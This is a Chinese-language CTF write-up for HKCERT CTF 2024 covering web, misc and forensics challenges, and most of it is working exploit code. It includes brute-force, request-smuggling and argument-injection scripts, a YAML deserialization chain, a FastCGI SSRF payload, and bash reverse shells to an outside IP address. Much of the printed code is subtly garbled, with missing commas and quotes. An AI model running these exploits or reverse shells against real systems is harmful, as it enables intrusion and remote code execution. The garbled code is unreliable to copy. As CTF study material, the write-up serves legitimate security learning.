香港網安奪旗賽HKCERT CTF 2024 Write up(上)
2024-11-21 17:22:0 Author: mp.weixin.qq.com(查看原文) 阅读量:0 收藏

  • Web

    • 新免費午餐

    • 米斯蒂茲的迷你 CTF (1)

    • 米斯蒂茲的迷你 CTF (2)

    • PDF 生成器(1)

    • PDF 生成器(2)

    • 已知用火 (1)

    • 已知用火 (2)

    • JSPyaml

    • 奇美拉

  • Misc

    • 自行取旗

    • B6ACP

    • My Lovely Cats

  • Forensics

    • One Way Room

    • APT攻擊在哪裡 (1)

Web

新免費午餐

控制台直接使用以下指令完成遊戲

score = 9999
endGame()

完成後在計分板中查看flag

米斯蒂茲的迷你 CTF (1)

從sql初始化裡面可以看出Flag1在一個提交記錄裡面

查看attempt的model,有一個查詢過濾器,因此用戶只能查詢到自己的查詢記錄,因此需要拿到userid為2的用戶密碼才能取得這個flag

用戶player的密碼只有6位元hex格式字符

views中註冊api相關程式碼如下:

from flask import Blueprint, request, jsonify
from flask.views import MethodView
import collections

from app.views import pages
from app.views.api import users
from app.views.api import challenges
from app.views.api.admin import challenges as admin_challenges
from app.models.user import User
from app.models.challenge import Challenge
from app.models.attempt import Attempt

class GroupAPI(MethodView):
    init_every_request = False

    def __init__(self, model):
        self.model = model

        self.name_singular = self.model.__tablename__
        self.name_plural = f'{self.model.__tablename__}s'

    def get(self):
        # the users are only able to list the entries related to them
        items = self.model.query_view.all()

        group = request.args.get('group')

        if group is not None and not group.startswith('_'and group in dir(self.model):
            grouped_items = collections.defaultdict(list)
            for item in items:
                id = str(item.__getattribute__(group))
                grouped_items[id].append(item.marshal())
            return jsonify({self.name_plural: grouped_items}), 200

        return jsonify({self.name_plural: [item.marshal() for item in items]}), 200

def register_api(app, model, name):
    group = GroupAPI.as_view(f'{name}_group', model)
    app.add_url_rule(f'/api/{name}/', view_func=group)

def init_app(app):
    # Views
    app.register_blueprint(pages.route, url_prefix='/')

    # API
    app.register_blueprint(users.route, url_prefix='/api/users')
    app.register_blueprint(challenges.route, url_prefix='/api/challenges')
    app.register_blueprint(admin_challenges.route, url_prefix='/api/admin/challenges')

    register_api(app, User, 'users')
    register_api(app, Challenge, 'challenges')
    register_api(app, Attempt, 'attempts')

文件中定義了可以透過存取/api/{name}/的格式來取得指定model的數據,且group可以指定一個欄位名稱作為傳回內容的鍵名,因此可以額外取得到model預設返回值之外的字段,透過/api/users/?group=password可以獲得密碼:

發現並不是sql中設定的密碼格式,在user的model中可以找到原因,它創建了一個監聽器,每次進行密碼的修改就會透過compute_hash來處理

@event.listens_for(User.password, 'set', retval=True)
def hash_user_password(target, value, oldvalue, initiator):
    if value != oldvalue:
        return compute_hash(value)
    return value

compute_hash函數如下

def compute_hash(password, salt=None):
    if salt is None:
        salt = os.urandom(4).hex()
    return salt + '.' + hashlib.sha256(f'{salt}/{password}'.encode()).hexdigest()

因此我們透過api拿到的密碼是salt和sha256,使用以下腳本進行hash碰撞以獲得密碼

import hashlib
import itertools

chars = '0123456789abcdef'

combinations = [''.join(combo) for combo in itertools.product(chars, repeat=6)]
for password in combinations:
    if '744c75c952ef0b49cdf77383a030795ff27ad54f20af8c71e6e9d705e5abfb94' == hashlib.sha256(f'77364c85/{password}'.encode()).hexdigest():
        print(password)

# 7df71e

使用密碼7df71e成功登入player用戶,造訪api/attempts/?group=flag 取得flag

米斯蒂茲的迷你 CTF (2)

和上面的使用同樣的環境,從sql中可以看出Flag2在id為1337的題目描述中,但是從api接口中查詢不到這個題目的信息,從代碼中找到原因,只要是通過query_view來進行查詢的只能查詢到當前時間之前的記錄,而sql中定義了1337的題目時間是當前時間之後的,因此查不到

找到位於admin的api裡面,沒有使用過濾器直接查詢的接口

因此需要登入admin用戶才能拿到Flag2,在註冊處直接使用了user的model來接收參數進行註冊

在model中定義了以下字段

class User(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String, nullable=False)
    is_admin = db.Column(db.Boolean, default=False)
    password = db.Column(db.String, nullable=False)
    score = db.Column(db.Integer, default=0)
    last_solved_at = db.Column(db.DateTime)

因此註冊時使用傳入is_admin為True即可註冊管理員用戶

註冊後在/api/admin/challenges/拿到flag

PDF 生成器(1)

主要程式碼如下:

@app.route('/process', methods=['POST'])
def process_url():
    # Get the session ID of the user
    session_id = request.cookies.get('session_id')
    html_file = f"{session_id}.html"
    pdf_file = f"{session_id}.pdf"

    # Get the URL from the form
    url = request.form['url']
  
    # Download the webpage
    response = requests.get(url)
    response.raise_for_status()

    with open(html_file, 'w'as file:
        file.write(response.text)

    # Make PDF
    stdout, stderr, returncode = execute_command(f'wkhtmltopdf {html_file} {pdf_file}')

    if returncode != 0:
        return f"""
        <h1>Error</h1>
        <pre>{stdout}</pre>
        <pre>{stderr}</pre>
        """

      
    return redirect(pdf_file)

疑似指令注入,跟進execute_command

def execute_command(command):
    """
    Execute an external OS program securely with the provided command.

    Args:
        command (str): The command to execute.

    Returns:
        tuple: (stdout, stderr, return_code)
    """


    # Split the command into arguments safely
    args = shlex.split(command)

    try:
        # Execute the command and capture the output
        result = subprocess.run(
            args,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            text=True,
            check=True  # Raises CalledProcessError for non-zero exit codes
        )
        return result.stdout, result.stderr, result.returncode
    except subprocess.CalledProcessError as e:
        # Return the error output and return code if command fails
        return e.stdout, e.stderr, e.returncode

指令被分割了,並不會造成注入,但是wkhtmltopdf存在任意檔案讀取漏洞,需要使用--enable-local-file-access參數,因此進行參數注入即可,先將html放在伺服器,再打poc

<html>
        <iframe src="file:///flag.txt">
</html>
url = "https://c52a-webpage-to-pdf-1-t519-r36jghu3qed6ru6azopujzln.hkcert24.pwnable.hk/"

def exp():
    print(requests.post(url + "process",data={"url""http://8.134.146.39:801/"}, cookies={"session_id""123"}, allow_redirects=False).text)
    print(requests.post(url + "process",data={"url""http://8.134.146.39:801/"}, cookies={"session_id""--enable-local-file-access 123.html '"}, allow_redirects=False).text)

exp()

然後瀏覽器訪問.html --enable-local-file-access 123.html .pdf拿到flag

PDF 生成器(2)

跟上面差不多關鍵程式碼改成如下:

@app.route('/process', methods=['POST'])
def process_url():
    # Get the session ID of the user
    session_id = request.cookies.get('session_id')
    pdf_file = f"{session_id}.pdf"

    # Get the URL from the form
    url = request.form['url']
  
    # Download the webpage
    response = requests.get(url)
    response.raise_for_status()

    # Make PDF
    pdfkit.from_string(response.text, pdf_file)
  
    return redirect(pdf_file)

換成pdfkit來處理了,跟進這個from_string函數,發現html內容可以控制pdfkit的選項

    def _find_options_in_meta(self, content):
        """Reads 'content' and extracts options encoded in HTML meta tags

        :param content: str or file-like object - contains HTML to parse

        returns:
          dict: {config option: value}
        """


        if (isinstance(content, io.IOBase)
                or content.__class__.__name__ == 'StreamReaderWriter'):
            content = content.read()

        found = {}

        for x in re.findall('<meta [^>]*>', content):
            if re.search('name=["\']%s' % self.configuration.meta_tag_prefix, x):
                name = re.findall('name=["\']%s([^"\']*)' %
                                  self.configuration.meta_tag_prefix, x)[0]
                found[name] = re.findall('content=["\']([^"\']*)', x)[0]

        return found

換成以下html放在伺服器上

<html>
        <meta name="pdfkit---enable-local-file-access" content="">
        <iframe src="file:///flag.txt">
</html>

然後直接提交html的url就能拿到flag

已知用火 (1)

C寫的httpserver,程式碼量不大:

#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <netinet/in.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <stdbool.h>

#define PORT 8000
#define BUFFER_SIZE 1024

typedef struct {
    char *content;
    int size;
} FileWithSize;

bool ends_with(char *text, char *suffix) {
    int text_length = strlen(text);
    int suffix_length = strlen(suffix);

    return text_length >= suffix_length && \
           strncmp(text+text_length-suffix_length, suffix, suffix_length) == 0;
}

FileWithSize *read_file(char *filename) {
    if (!ends_with(filename, ".html") && !ends_with(filename, ".png") && !ends_with(filename, ".css") && !ends_with(filename, ".js")) return NULL;

    char real_path[BUFFER_SIZE];
    snprintf(real_path, sizeof(real_path), "public/%s", filename);

    FILE *fd = fopen(real_path, "r");
    if (!fd) return NULL;

    fseek(fd, 0, SEEK_END);
    long filesize = ftell(fd);
    fseek(fd, 0, SEEK_SET);

    char *content = malloc(filesize + 1);
    if (!content) return NULL;

    fread(content, 1, filesize, fd);
    content[filesize] = '\0';

    fclose(fd);

    FileWithSize *file = malloc(sizeof(FileWithSize));
    file->content = content;
    file->size = filesize;
 
    return file;
}

void build_response(int socket_id, int status_code, char* status_description, FileWithSize *file) {
    char *response_body_fmt = 
        "HTTP/1.1 %u %s\r\n"
        "Server: mystiz-web/1.0.0\r\n"
        "Content-Type: text/html\r\n"
        "Connection: %s\r\n"
        "Content-Length: %u\r\n"
        "\r\n";
    char response_body[BUFFER_SIZE];

    sprintf(response_body,
            response_body_fmt,
            status_code,
            status_description,
            status_code == 200 ? "keep-alive" : "close",
            file->size);
    write(socket_id, response_body, strlen(response_body));
    write(socket_id, file->content, file->size);
    free(file->content);
    free(file);
    return;
}

void handle_client(int socket_id) {
    char buffer[BUFFER_SIZE];
    char requested_filename[BUFFER_SIZE];

    while (1) {
        memset(buffer, 0sizeof(buffer));
        memset(requested_filename, 0sizeof(requested_filename));

        if (read(socket_id, buffer, BUFFER_SIZE) == 0return;

        if (sscanf(buffer, "GET /%s", requested_filename) != 1)
            return build_response(socket_id, 500"Internal Server Error", read_file("500.html"));

        FileWithSize *file = read_file(requested_filename);
        if (!file)
            return build_response(socket_id, 404"Not Found", read_file("404.html"));

        build_response(socket_id, 200"OK", file);
    }
}

int main() {
    setvbuf(stdinNULL, _IONBF, 0);
    setvbuf(stdoutNULL, _IONBF, 0);
    setvbuf(stderrNULL, _IONBF, 0);

    struct sockaddr_in server_address;
    struct sockaddr_in client_address;

    int socket_id = socket(AF_INET, SOCK_STREAM, 0);
    server_address.sin_family = AF_INET;
    server_address.sin_addr.s_addr = htonl(INADDR_ANY);
    server_address.sin_port = htons(PORT);

    if (bind(socket_id, (struct sockaddr*)&server_address, sizeof(server_address)) == -1exit(1);
    if (listen(socket_id, 5) < 0exit(1);

    while (1) {
        int client_address_len;
        int new_socket_id = accept(socket_id, (struct sockaddr *)&client_address, (socklen_t*)&client_address_len);
        if (new_socket_id < 0exit(1);
        int pid = fork();
        if (pid == 0) {
            handle_client(new_socket_id);
            close(new_socket_id);
        }
    }
}

第一感覺就是要打任意文件讀取,但是限制了只能讀取白名單後綴的文件。而程式碼中變量都使用了BUFFER_SIZE設定的緩衝區大小,但是在read_file函數中,在路徑的前面加入了public/,因此如果原本我們輸入的路徑已經接近BUFFER_SIZE的緩衝區大小限制,則會造成路徑最後的字串遺失,利用這一點繞過白名單限制並讀取flag

import socket
import ssl

host = "c02a-custom-server-1-1.hkcert24.pwnable.hk"
port = 1337
sock = socket.create_connection((host, port))
print("connected")
context = ssl.create_default_context()
ssl_sock = context.wrap_socket(sock, server_hostname=host)

path = "/../../../../../../../flag.txt.js"
c = 1024 - len(path) - 5
path_payload = "/" * c + path
payload = f'''GET /{path_payload} HTTP/1.1
'''
.replace("\n","\r\n").encode()
ssl_sock.sendall(payload)
print("sended")
print(ssl_sock.recv(1024).decode())
print(ssl_sock.recv(1024).decode())

已知用火 (2)

程式碼一樣,但是中間用了nginx來做反向代理,如果我們在路徑輸入../則會被nginx直接返回400,因此要打請求走私,後端伺服器每次只讀取1024作為一個請求,但是nginx可以接收比它大很多的請求,exp如下,需要競爭請求結果。

import socket
import ssl
import threading
import time
import urllib.parse

def test():
    c1 = 0
    while True:
        host = "c02b-custom-server-2-2.hkcert24.pwnable.hk"
        port = 1337
        sock = socket.create_connection((host, port))
        context = ssl.create_default_context()
        s = context.wrap_socket(sock, server_hostname=host)
        path = "/../../../../../../../../../../../flag.txt.js"
        c = 1024 - len(path) - 5
        path_payload = "/" * c + path
        path_payload = b'GET /'+path_payload.encode()
        payload = f'''GET /index.html HTTP/1.1
Host: 123
Content-Length: {944 + len(path_payload) + 1024}

'''

.replace("\n""\r\n").encode()
        payload += b'a' * 944
        s.sendall(payload + path_payload + path_payload + b'\r\n\r\nGET /000.html HTTP/1.0\r\nHost: 123\r\n\r\n' + payload + path_payload + path_payload)
        s11 = ""
        for i in range(10):
            s11 += s.recv(10240).decode()
        if 'hkcert24' in s11:
            print(s11)
        c1 += 1
        print("\r" + str(c1) , end="")

threading.Thread(target=test).start()
test()

JSPyaml

關鍵程式碼如下:

app.post('/debug', (req, res) => {
    if(ip.isLoopback(req.ip) && req.cookies.debug === 'on'){
        const yaml = require('js-yaml');
        let schema = yaml.DEFAULT_SCHEMA.extend(require('js-yaml-js-types').all);
        try{
         let input = req.body.yaml;
         console.log(`Input: ${input}`);
         let output = yaml.load(input, {schema});
         console.log(`Output: ${output}`);
         res.json(output);
        }catch(e){
         res.status(400).send('Error');
        }
    }else{
        res.status(401).send('Unauthorized');
    }
});

需要使用bot去請求,bot只接受一個url並訪問,因此需要打XSS,前端程式碼如下

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>YAML Parser</title>
    <script src="https://cdn.jsdelivr.net/pyodide/v0.26.2/full/pyodide.js"></script>
    <style>
        body {
            font-family: Arial, sans-serif;
            margin: 50px;
        }
        textarea {
            width: 100%;
            height: 200px;
        }
        pre {
            background-color: #cccccc;
            padding: 20px;
            white-space: pre-wrap;
        }
    </style>
</head>
<body>
    <h1>YAML Parser</h1>
    <textarea id="yaml" placeholder="- YAML"></textarea><br>
    <button id="parse">Parse</button>
    <h2>Output:</h2>
    <pre id="output"></pre>

    <script>
    let pyodide;
    async function init(){
    pyodide = await loadPyodide();
    await pyodide.loadPackage("pyyaml");
    runHash();
    }
    async function run(y){
    x = `+'`'+`import yaml
yaml.load("""`+`$`+`{y.replaceAll('"','')}""",yaml.Loader)`+'`'+`;
            try {
                output.textContent = await pyodide.runPythonAsync(x);
            } catch (e) {
                output.textContent = e;
            }
    }
        async function runHash() {
            const hash = decodeURIComponent(window.location.hash.substring(1));
            if (hash) {
                yaml.value = hash;
                run(hash);
            }
        }      
        parse.addEventListener("click"async () => {run(yaml.value)});
        onhashchange = runHash;
        onload = init;
    </script>
</body>
</html>

使用了pyodide來在瀏覽器內運行python程式碼,並且使用pyyaml來解析yaml,但是解析結果被設定成textContent,並不會觸發xss。想法是利用pyyaml反序列化漏洞執行python程式碼,並且調用js模組執行js程式碼來完成xss。以下poc產生一個可以進行XSS的url,提交給bot即可完成api的訪問

payload = '''
import pyodide
payload = """
document.cookie = "debug=on; path=/;";
const data = new URLSearchParams();
data.append('yaml', `xxx`);
fetch('/debug', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/x-www-form-urlencoded'
  },
  credentials: 'include',
  body: data.toString()
})
  .then(response => response.json())
  .then(data => console.log('成功:', data))
  .catch(error => console.error('请求出错:', error));
"""
pyodide.code.run_js(payload)
'''

payload = f"http://127.0.0.1:3000/#!!python/object/apply:exec [exec(__import__('base64').b64decode('{base64.b64encode(payload.encode()).decode()}').decode())]"
print(payload)

繼續審計/debug的api程式碼,在js-yaml-js-types函式庫中,定義了function標籤,用於在yaml中產生一個方法,但是並不能直接執行此方法,因為內部調用的是new Function來完成

但在題目程式碼中,將yaml解析的結果

const yaml = require('js-yaml');
        let schema = yaml.DEFAULT_SCHEMA.extend(require('js-yaml-js-types').all);
        try{
         let input = req.body.yaml;
         console.log(`Input: ${input}`);
         let output = yaml.load(input, {schema});
         console.log(`Output: ${output}`);
         res.json(output);
        }catch(e){
         res.status(400).send('Error');
        }

這樣的操作會觸發對象的toString方法,因此只需要給yaml的toString鍵設定一個Function作為值,即可在拼接中觸發方法,如下:

"toString": !<tag:yaml.org,2002:js/function> 'function (){global.process.mainModule.constructor._load("child_process").spawnSync("bash",["-c","bash -i >& /dev/tcp/8.134.146.39/1244 0>&1"],{ encoding: "utf-8"})}'

由於沒有上下文,無法直接使用require導入child_process,需要走global.process.mainModule來導入。最終payload

import base64

url = "https://c62-jspyaml-t519-hev2ottoirslajxbb32csyeq.hkcert24.pwnable.hk/"

payload = '''
import pyodide
payload = """
document.cookie = "debug=on; path=/;";
const data = new URLSearchParams();
data.append('yaml', `"toString": !<tag:yaml.org,2002:js/function> 'function (){global.process.mainModule.constructor._load("child_process").spawnSync("bash",["-c","bash -i >& /dev/tcp/8.134.146.39/1244 0>&1"],{ encoding: "utf-8"})}'`);

fetch('/debug', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/x-www-form-urlencoded'
  },
  credentials: 'include',
  body: data.toString()
})
  .then(response => response.json())
  .then(data => console.log('成功:', data))
  .catch(error => console.error('请求出错:', error));
"""
pyodide.code.run_js(payload)
'''

payload = f"http://127.0.0.1:3000/#!!python/object/apply:exec [exec(__import__('base64').b64decode('{base64.b64encode(payload.encode()).decode()}').decode())]"

print(payload)

由於提交bot有個反人類的驗證,手動提交url即可。

奇美拉

lime.php

<?php
    class CitrusWorkspace {
        function __construct($root) {
            if (!is_dir($root)) {
                mkdir($root, 0755);
            }
            $this->root = $root;
        }

        function create($filename, $symlink=0, $target="") {
            $this->validate_filename($filename);

            if ($symlink === 0) {
                @file_put_contents($this->root.$filename, "");
            }
            else {
                @symlink($target, $this->root.$filename);

                try {
                    if (str_contains(@readlink($this->root.$filename), "/") || str_contains(@readlink($this->root.$filename), "..")) {
                        throw new Exception("Trying to hack?");
                    }
                }
                catch (Exception $e) {
                    @unlink($this->root.$filename);
                    throw $e;
                }
            }
        }

        function read($filename) {
            $this->validate_filename($filename);

            sleep(5);

            chdir($this->root);
            $buf = @file_get_contents($this->resolve_symlink($filename));
            return $buf;
        }

        function write($filename, $data) {
            $this->validate_filename($filename);

            sleep(5);

            chdir($this->root);
            @file_put_contents($this->resolve_symlink($filename), $data);
        }

        function delete($filename) {
            $this->validate_filename($filename);
            $this->assert_file_exists($this->root.$filename);

            @unlink($this->root.$filename);
        }

        function list() {
            $res = array();

            $ls = array_diff(scandir($this->root), array("..""."));
            foreach($ls as $k => $v) {
                if (is_link($this->root.$v)) {
                    $res[$v] = "Symlink to ".@readlink($this->root.$v);
                }
                else
                    $res[$v] = "File";
            }

            return $res;
        }

        function validate_filename($filename) {
            if (preg_match('/[^a-z0-9]/i', $filename)) {
                throw new Exception("Filename only contain alphanumerics.");
            }
        }

        function assert_file_exists($filename) {
            if (file_exists($filename) === false && is_link($filename) === false) {
                throw new Exception("File not found.");
            }
        }

        function resolve_symlink($filename) {
            if (is_link($filename)) {
                return @readlink($filename);
            }
            return $filename;
        }

    }
?>

citrus.php

<?php
session_start();
require_once("lime.php");

$dirname= md5(session_id());
$workspace = new CitrusWorkspace("/tmp/$dirname/");

$mode = !empty($_POST["mode"]) ? $_POST["mode"] : null;
$filename = !empty($_POST["filename"]) ? $_POST["filename"] : null;

$error = null;
try {
    if (($_SERVER["REQUEST_METHOD"] === "POST") && ($mode === null || $filename === null)) {
        throw new Exception("mode or filename cannot be empty.");
    }

    switch($mode) {
        case "create":
            $symlink = isset($_POST["symlink"]) ? 1 : 0;
            $target = !empty($_POST["target"]) ? $_POST["target"] : null;
            $workspace->create($filename, $symlink, $target);
            break;

        case "read":
            $contents = $workspace->read($filename);
            break;

        case "write":
            $data = !empty($_POST["data"]) ? $_POST["data"] : "";
            $workspace->write($filename, $data);
            break;

        case "delete":
            $workspace->delete($filename);
            break;
    }
catch(Exception $e) {
    $error = $e->getMessage();
}

$ls = $workspace->list();
?>

思路是透過創建鏈接生成的鏈接再創建鏈接,這樣就檢測不到有惡意的鏈接目標,寫入文件時通過兩層鏈接仍任可以正常讀寫文件,因此先得出以下poc

url = "https://c25-chimera-t519-pji6ue6qjfb5c45we2ja6z57.hkcert24.pwnable.hk/citrus.php%3fsss.php"
# url = "http://8.134.146.39:8080/citrus.php"
sess = requests.session()
PHPID = "123"
t = threading.BoundedSemaphore(10)
def write(file, content):
    sess.post(url, data={"mode""write""filename": file, "data": content}, cookies={"PHPSESSID": PHPID})
def create(target, filename):
    sess.post(url, data={"mode""create""symlink""1""target": target, "filename": filename, }, cookies={"PHPSESSID": PHPID})

def read(filename):
    return sess.post(url, data={"mode""read""filename": filename }, cookies={"PHPSESSID": PHPID})

def write_anyfile(file, content):
    rand1 = str(random.randint(99999,999999999))
    rand2 = str(random.randint(99999,999999999))
    create(rand2, rand1)
    create(file, rand1)
    write(rand2, content)

def read_any_file(file):
    rand1 = str(random.randint(99999,999999999))
    rand2 = str(random.randint(99999,999999999))
    create(rand2, rand1)
    create(file, rand1)
    res = read(rand2).text
    return res.split('<p class="card-text">')[1].split('</div>')[0]

但在web目錄下沒有寫入權限,而/flag則沒有讀取權限,打filter的cnext也沒成功,因此啟動了一個題目用的webdevops/php-apache:8.0鏡像,發現使用的是fpm的tcp模式,直接打ftp被動模式over ssrf打fpm即可,在伺服器上啟動ftp腳本,網絡上有現成

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.bind(('0.0.0.0'333))
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n'#STOR / (2)
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()

再使用以下exp完成攻擊

import base64
import random
import threading

import requests

url = "https://c25-chimera-t519-pji6ue6qjfb5c45we2ja6z57.hkcert24.pwnable.hk/citrus.php%3fsss.php"
# url = "http://8.134.146.39:8080/citrus.php"
sess = requests.session()
PHPID = "123"
t = threading.BoundedSemaphore(10)
def write(file, content):
    sess.post(url, data={"mode""write""filename": file, "data": content}, cookies={"PHPSESSID": PHPID})
def create(target, filename):
    sess.post(url, data={"mode""create""symlink""1""target": target, "filename": filename, }, cookies={"PHPSESSID": PHPID})

def read(filename):
    return sess.post(url, data={"mode""read""filename": filename }, cookies={"PHPSESSID": PHPID})

def write_anyfile(file, content):
    rand1 = str(random.randint(99999,999999999))
    rand2 = str(random.randint(99999,999999999))
    create(rand2, rand1)
    create(file, rand1)
    write(rand2, content)

def read_any_file(file):
    rand1 = str(random.randint(99999,999999999))
    rand2 = str(random.randint(99999,999999999))
    create(rand2, rand1)
    create(file, rand1)
    res = read(rand2).text
    return res.split('<p class="card-text">')[1].split('</div>')[0]

write_anyfile("/tmp/a.php""<?php system('bash -c \"bash -i >&/dev/tcp/8.134.146.39/7788 0>&1\"'); ?>")
write_anyfile("ftp://8.134.146.39:333/a.php", base64.b64decode("AQHEAQAIAAAAAQAAAAAAAAEExAEBswAADgFDT05URU5UX0xFTkdUSDAMEENPTlRFTlRfVFlQRWFwcGxpY2F0aW9uL3RleHQLBFJFTU9URV9QT1JUOTk4NQsJU0VSVkVSX05BTUVsb2NhbGhvc3QRC0dBVEVXQVlfSU5URVJGQUNFRmFzdENHSS8xLjAPDlNFUlZFUl9TT0ZUV0FSRXBocC9mY2dpY2xpZW50CwlSRU1PVEVfQUREUjEyNy4wLjAuMQ8KU0NSSVBUX0ZJTEVOQU1FL3RtcC9hLnBocAsKU0NSSVBUX05BTUUvdG1wL2EucGhwCR9QSFBfVkFMVUVhdXRvX3ByZXBlbmRfZmlsZSA9IHBocDovL2lucHV0DgRSRVFVRVNUX01FVEhPRFBPU1QLAlNFUlZFUl9QT1JUODAPCFNFUlZFUl9QUk9UT0NPTEhUVFAvMS4xDABRVUVSWV9TVFJJTkcPFlBIUF9BRE1JTl9WQUxVRWFsbG93X3VybF9pbmNsdWRlID0gT24NAURPQ1VNRU5UX1JPT1QvCwlTRVJWRVJfQUREUjEyNy4wLjAuMQsKUkVRVUVTVF9VUkkvdG1wL2EucGhwAQTEAQAAAAABBcQBAAAAAA=="))

Misc

自行取旗

題目如下:

from base64 import b64decode
from secrets import token_hex
import subprocess
import os
import sys
import tempfile

FLAG = os.environ["FLAG"if os.environ.get("FLAG"is not None else "hkcert24{test_flag}"

print("Encode your Go program in base64")
code = input(">> ")

with tempfile.TemporaryDirectory() as td:
    fn = token_hex(16)
    src = os.path.join(td, f"{fn}")
    with open(src+".go""w"as f:
        f.write(b64decode(code).decode())  

    p = subprocess.run(["./fork""build""-o", td, src+".go"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) # renamed binary
    if p.returncode != 0:
        print(r"Fail to build ¯\_(ツ)_/¯")
        sys.exit(1)

    _ = subprocess.run([src], stdout=subprocess.PIPE, stderr=subprocess.PIPE)

    if _.returncode == 0:
        print(r"You can write Go programs with no bugs, but I cannot give you the flag ¯\_(ツ)_/¯")
        sys.exit(1)

    if b"panic" in _.stderr:
        print("I am calm...")
        sys.exit(1)

    print(f"You are an experienced Go developer, here's your flag: {FLAG}")
    sys.exit(1)

可以運行任意go文件,直接覆蓋base64.py進行RCE

package main

import (
 "os"
)

func main() {
 payload := `import os
code = input("111> ")
print(os.popen(code).read())
`
 os.WriteFile("base64.py", []byte(payload), 0777)
}

base64編碼後傳入即可,再次連線時輸入env獲得flag。

B6ACP

首先透過抓包發現一個開源的searchor項目

搜尋searchor的歷史漏洞,找到以下項目,但是直接使用的話是無效的,要修改項目裡面的一些參數

Searchor <= 2.4.2 (2.4.0) 的 POC 漏洞(任一 CMD 注入)

https://github.com/nikn0laty/Exploit-for-Searchor-2.4.0-Arbitrary-CMD-Injection

原始碼

修改之後

首先我們修改了監聽的連接端口為2333,然後透過抓包抓取的資料對網頁的路徑進行了修改,並且把參數修改為抓包抓到的參數

使用指令:./exploit.sh 題目給出的網址 主機IP 端口

然後在home目錄下找到flag

My Lovely Cats

首先打開附件得出了一張圖片和一個mov運行程序,程序運行直接生成了兩個txt文檔

回顯程式成功執行,然後我們去檢查圖片,發現圖片正常,沒有隱寫東西在裡面,然後根據題目描述:flag就在mov程式中,我們去分析程式放入010發現這塊有base編碼特徵,正常拿去解碼發現不成功,然後我們把base編碼逆序。

解碼出以下內容

有一個網址,我們去訪問網址發現了被註解的flag

Forensics

One Way Room

UUID of /dev/sda1:b2bc2958-9c47-495a-8bab-3bae83cf9ca4

打開火眼取證工具查看log記錄,然後在/var/log/kern.log下發現root的uuid,發現提交正確

kern.log:內核產⽣的⽇志

Backdoor URL:https://t.ly/backdoor.sh

首先先去查看主機內的php和asp、jsp文件發現裡面都沒有木馬執行指令,接著去看看定時Linux中Crontab(定時任務)在目錄下發現了一個後門.sh,提交正確

Password for user very-secure:nokiasummer1990

直接去查看/etc/shadow下存放用戶和密碼的文件,然後使用john進行爆破,得出密碼

Deleted file flag:flag{th3_fi13_sh411_b3_d313t3d}

在用戶very-secure下的回收站目錄發現已刪除的flag文件

IP of login attempt:192.166.246.54

直接在火眼取證的登陸失敗日誌發現ip

APT攻擊在哪裡 (1)

根據文件給予的路徑尋找即可

/forensic/ntfs/1/Users/night01/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/


文章来源: https://mp.weixin.qq.com/s?__biz=MzUzMDUxNTE1Mw==&mid=2247508919&idx=1&sn=2cff2fd7e69983ae3378c70d1a76b0ae&chksm=fa527609cd25ff1fe3c74be524a1f379f348460073d3ce8248f759d1edafda7e1b53df4d71a8&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh